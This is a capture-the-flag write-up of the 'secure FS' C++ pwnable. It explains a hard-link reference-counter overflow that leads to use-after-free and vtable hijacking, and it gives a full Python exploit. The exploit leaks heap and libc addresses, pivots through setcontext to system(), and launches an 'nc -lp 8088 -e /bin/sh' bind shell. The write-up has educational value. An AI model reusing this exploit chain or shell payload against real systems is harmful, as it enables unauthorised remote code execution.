The secure FS pwnable was a FS-like C++ app, compiled for x86_64 with PIC support. We found the vuln but didn't work out the sploit in time during the ctf. I still decided to make a write-up as the vuln is quite interesting. As no team successfully exploited the service, it isn't up anymore so I cannot be 100% sure about all offsets.
A quick glance at the assembly gives up C++ usage and the main password:
call __ZNSsC1Ev ; std::string::string(void) lea rsi, aPassword ; "Password: " mov rax, cs:_ZSt4cout_ptr mov rdi, rax call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; << lea rax, [rbp+var_20] mov rsi, rax mov rax, cs:_ZSt3cin_ptr mov rdi, rax call __ZStrsIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E ;>> lea rax, [rbp+var_20] lea rsi, aVe3yhtfw9tsffx ; "Ve3yhTFW9TsffX2J" mov rdi, rax call str_cmp
Here is a sample run of the program:
$ ./problem Password: Ve3yhTFW9TsffX2J Welcome to the encrypted file system! create [file] [xor|rc4] [key] Create file (xor or rc4) ln [target] [linkname] Create hard link mkdir [dir] Make directory cat [file] View file edit [file] [key] Edit file rm [file] Delete file rmdir [dir] Delete directory ls [dir] List directory cd [dir] Change directory help Show list of commands exit Exit user@/$ create test xor 1 Data: A user@/$ cat test p user@/$ ls ./ ../ test user@/$ ln test ln user@/$ cat ln p user@/$ rm test user@/$ cat ln p user@/$ exit $
The FS supports directories, xored and rc4 files, as well as hard links to those files and removal of files and empty directories. The control flow of the main function is pretty straightforward: get a word from cin, compare to create, ln, etc. and call the associated function if any. Each function then gets its own parameters from cin. From there, we can search for the two main C++ exploitation vectors: classical overflow on c strings and virtual table corruption.
The c_str() function is used twice, once at 0x31B9 - within the file creation handler - and once at 0x3a24 - within the file edition handler. After that, the returned char * is used in a virtual call - roughly 10 instructions ahead. We guess that those virtual calls are here to handle the two different file types: xored and rc4 files. The virtual tables for both classes are at 0x20ab10 and 0x20aaf0 respectively. We can then get to those two functions - the first entry being the constructor. The xor function seems well rounded whereas the rc4 function does manipulate data on the stack, but its stack frame is protected by a cookie. No possible exploitation here from this first look so we move on to virtual table corruption possibilities.
To exploit heap corruption, we have to find a usable pointer which points to an already freed object on the heap. As virtual functions work on files only, we inspect the rm handler at 0x3ca3. Valid arguments take us to 0x3e04 which calls 0x47ca:
do_del_ref proc near push rbp mov rbp, rsp sub rsp, 10h mov [rbp+var_8], rdi mov rax, [rbp+var_8] movzx eax, byte ptr [rax+1010h] lea edx, [rax-1] mov rax, [rbp+var_8] mov [rax+1010h], dl mov rax, [rbp+var_8] movzx eax, byte ptr [rax+1010h] test al, al setz al test al, al jz short locret_480E mov rax, [rbp+var_8] mov rdi, rax call __ZdlPv ; operator delete(void *) locret_480E: leave retn do_del_ref endp
rdi points to the file object to be rm'd. We see that the object's offset 0x1010 seems to handle a reference counter. As expected, it is decremented and the file object itself is freed only if this counter is at 0. As this is probably to handle the number of hard links currently referencing the file, we take a look at the ln method. A valid ln goes at 0x3647 which calls 0x47a8:
sub_47A8 proc near push rbp mov rbp, rsp mov [rbp+var_8], rdi mov rax, [rbp+var_8] movzx eax, byte ptr [rax+1010h] lea edx, [rax+1] mov rax, [rbp+var_8] mov [rax+1010h], dl leave retn sub_47A8 endp
As expected, ln does indeed increment the ref counter but just moves back dl in it. Therefore, if the counter is at 0xff references, it goes back to 0. Here is our heap corruption. We can create a file - counter = 1 - and add 256 references - counter = (256 + 1)%256 = 1 - and then remove the file to free its heap structure. Any of the remaining hard links would still point to the previous location.
Let's move on to the exploitation. Two ways to exploit this: double free() or virtual function hijack. I chose the latter one. For this write-up I wrote the exploit locally, with my own libc, and assumed ASLR was on. This does not change much besides the libc offsets, but the actual lib was provided anyway. What could change though is the size of the other libs. We had the versions of most of them in the relocation entries, so it could be calculated. We would have probably performed a tiny bruteforce on the libc base, as we know roughly where it is supposed to be and as it is always aligned to 0x1000.
A c++ structure contains the address of its virtual table and the files also contains pointers to their data. As we can disclose the heap with cat and get an arbitrary address executed with edit, we have almost everything we need to get past PIC + ASLR + NX.
The first entry of the file structure is the filename. As the virtual table is to be place just before the first entry, we can use the filename as a cookie to get its exact address. One has to keep in mind that ASLR randomizes the stack, heap and code segments separately. However, this means that, for a position-independent executable, the offset between its code base and any loaded lib's base does not vary.
So after testing different paddings for files overriding the corrupted heap space, we can get the address of the virtual table, and having the first randomized bytes, we can also deduce a fixed address on the heap :
#!/usr/bin/python import sys import struct import subprocess import re import select WAIT_ANSWER=1 def readAllFromPipe(sub, file): data="" sel = select.select([file], , ) while 1: sel = select.select([file], , , WAIT_ANSWER) if len(sel) == 0: break nd = sel.read(1) if len(nd) == 0: break data += nd return data sub = subprocess.Popen(["./problem"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) print >> sub.stdin, "Ve3yhTFW9TsffX2J" def createDeadLinks(nbpaddingfiles, filename, linkname, pattern): key = "Z" cryptfunc="rc4" print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, "\x41") for i in range(0, nbpaddingfiles/2)]) print >> sub.stdin, "create %s %s %s\n%s"% (filename, cryptfunc, key, "\x42"*4095) # ref cnt = 1 print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, "\x41") for i in range(nbpaddingfiles/2, nbpaddingfiles)]) # Freeing file with remaining hard links print >> sub.stdin, "\n".join(["ln %s %s%x"% (filename, linkname, i) for i in range(0, 256)]) # ref cnt = (0xff + 1) & 0xff print >> sub.stdin, "rm " + filename # ref cnt = 0 => entry freed # Repadding RC4 objects by XOR objects print >> sub.stdin, "\n".join(["rm %s%x"% (filename, i) for i in range(0, nbpaddingfiles)]) # ref cnt = (0xff + 1) & 0xff cryptfunc="xor" key = "\x00" print >> sub.stdin, "\n".join(["create %s%x %s %s\n%s"% (filename, i, cryptfunc, key, pattern) for i in range(0, nbpaddingfiles+5)]) pattern=struct.pack("<Q", 0xdeadbeef15dead) createDeadLinks(2, "F", "L", pattern) # heap disclosure print >> sub.stdin, "cat L42" # Getting exe and heap base data = readAllFromPipe(sub, sub.stdout) pat = re.search("(......\x00\x00)" + pattern, data) if pat != None: xorfiledata = struct.unpack("<Q", pat.group(1)) - 16 else: print "[-] Unable to find exe base" sys.exit(1) exe_base = xorfiledata - 0x20AB10 print "[+] .text base = " + hex(exe_base) libc_base = exe_base - 0xd48000 print "[+] libc base = " + hex(libc_base) pat = re.search("(\xf0...%s\x00\x00)"%(struct.pack("<Q", exe_base)[4:6]), data) if pat != None and len(pat.group(1)) == 8: heap_base=struct.unpack("<Q", pat.group(1)) - 0xc3f0 else: print "[-] Unable to find heap base" sys.exit(1) print "[+] heap base = " + hex(heap_base) print >> sub.stdin, "help\nexit"
And we check that it actually works:
$ ./sfs-sploit.py [+] .text base = 0x7f53bdcb6000 [+] libc base = 0x7f53bcf6e000 [+] heap base = 0x7f53bf379000 $ ./sfs-sploit.py [+] .text base = 0x7fb6aad0d000 [+] libc base = 0x7fb6a9fc5000 [+] heap base = 0x7fb6ac171000 $
Once again, I did this with my own libs, so the offsets may not be right but can be calculated or bf'ed. Now that we know fixed addresses, we inspect what we actually control at the time of the virtual call. This time, we create way more padding files with large payloads to ensure that most of the heap space we control is overwritten by arbitrary data:
createDeadLinks(22, "G"*0x1002, "M"*0x1003, "A"*4095) print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, "B"*4095)
Checking with gdb:
Program received signal SIGSEGV, Segmentation fault. 0x0000555555557a34 in ?? () (gdb) x/10i $rip-6 0x555555557a2e: mov -0x48(%rbp),%eax 0x555555557a31: mov (%rax),%rax => 0x555555557a34: mov (%rax),%rbx 0x555555557a37: lea -0x30(%rbp),%rax 0x555555557a3b: mov %rax,%rdi 0x555555557a3e: callq 0x5555555560b0 <_ZNKSs4sizeEv@plt> 0x555555557a43: mov %rax,%rdx 0x555555557a46: mov -0x50(%rbp),%rcx 0x555555557a4a: mov -0x48(%rbp),%rax 0x555555557a4e: mov %rcx,%rsi (gdb) i r rax 0x4141414141414141 rbx 0x0 rcx 0xfff rdx 0x7ffff7639e00 rsi 0x0 rdi 0x7fffffffe2b0 rbp 0x7fffffffe2e0 rsp 0x7fffffffe280 r8 0x7ffff7fd5720 r9 0x7ffff7fd5720 r10 0x4d4d4d4d4d4d4d4d r11 0x246 r12 0x555555556390 r13 0x7fffffffe440 r14 0x0 r15 0x0 rip 0x555555557a34 eflags 0x10206 [ PF IF RF ] (gdb) x/xg $rbp-0x48 0x7fffffffe298: 0x0000555555799740 (gdb) x/2xg 0x0000555555799740 0x555555799740: 0x4141414141414141 0x4242424242424242 (gdb)
For this first step, we didn't make it to the virtual call. We control rax which has to be a valid address as it is supposed to point to the virtual function. We also control rcx and r10 but those do not seem to help. However, we know that rax is taken from offset 0x39740 on the heap and that it is the end of our padding files' data. After that starts the content we are currently adding to the file. Studying the filename with a pattern shows that rax is at offset 4040. Let's try and get to the virtual call by setting rax to the filename's address:
new_stack = heap_base + 0x39748 createDeadLinks(2*11, "G"*0x1002, "M"*0x1003, "A"*4040 + struct.pack("<Q", new_stack)) print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, "B"*4095)
Can we make it to the virtual call?
Program received signal SIGSEGV, Segmentation fault. 0x0000555555557a54 in ?? () (gdb) x/i $rip => 0x555555557a54: callq *%rbx (gdb) i r rax 0x555555799740 rbx 0x4242424242424242 rcx 0x555555760138 rdx 0x1 rsi 0x555555760138 rdi 0x555555799740 rbp 0x7fffffffe2e0 rsp 0x7fffffffe280 r8 0x7ffff7fd5720 r9 0x7ffff7fd5720 r10 0x4d4d4d4d4d4d4d4d r11 0x246 r12 0x555555556390 r13 0x7fffffffe440 r14 0x0 r15 0x0 rip 0x555555557a54 eflags 0x10206 [ PF IF RF ] (gdb)
Yes, we can -> But the only valuable register we control is rbx and we don't have any data on the stack. I did not find pretty chunks in the exe code - dit not search for long though. This is a pretty tough situation, but as often, setcontext as your back:
0x3f7e5 <setcontext+53>: mov 0xa0(%rdi),%rsp mov 0x80(%rdi),%rbx mov 0x78(%rdi),%rbp mov 0x48(%rdi),%r12 mov 0x50(%rdi),%r13 mov 0x58(%rdi),%r14 mov 0x60(%rdi),%r15 mov 0xa8(%rdi),%rcx push %rcx mov 0x70(%rdi),%rsi mov 0x88(%rdi),%rdx mov 0x98(%rdi),%rcx mov 0x28(%rdi),%r8 mov 0x30(%rdi),%r9 mov 0x68(%rdi),%rdi xor %eax,%eax retq
As rdi points to a valid location we control - and oh miracle to the address we injected in rax -, we can hijack the stack. This chunk sets rdi to *rdi + 0x68 and returns into rcx - *rdi + 0xa8. This is everything we need to perform a simple call to system():
mov_stack = libc_base + 0x3f7e5 system = libc_base + 0x3ed80 new_stack = heap_base + 0x39748 cmd = "nc -lp 8088 -e /bin/sh\x00" createDeadLinks(22, "G"*0x1002, "M"*0x1003, "A"*4040 + struct.pack("<Q", new_stack)) print "[+] Launching sploit" print >> sub.stdin, "edit %s42 A\n%s"% ("M"*0x1003, struct.pack("<Q", mov_stack)*2 + cmd + "A"*57 + struct.pack("<Q", new_stack + 0x10) + "A"*(136-len(cmd)-57-8) + struct.pack("<Q", new_stack + 8) + struct.pack("<Q", system)) readAllFromPipe(sub, sub.stdout) # get past messages start=time.time() readAllFromPipe(sub, sub.stdout) if time.time() - start <= 1: print "[-] Exploit Failed"
Hopefully our last shot:
$ ./sfs-sploit.py [+] .text base = 0x7f77a377f000 [+] libc base = 0x7f77a2a37000 [+] heap base = 0x7f77a558d000 [+] Launching sploit
No fail is a good start..
$ nc -v localhost 8088 localhost [127.0.0.1] 8088 (omniorb) open echo $0 sh exit $
And here it is. Too bad we couldn't make it in time this week-end, but still a really fun pwnable from PPP, as always.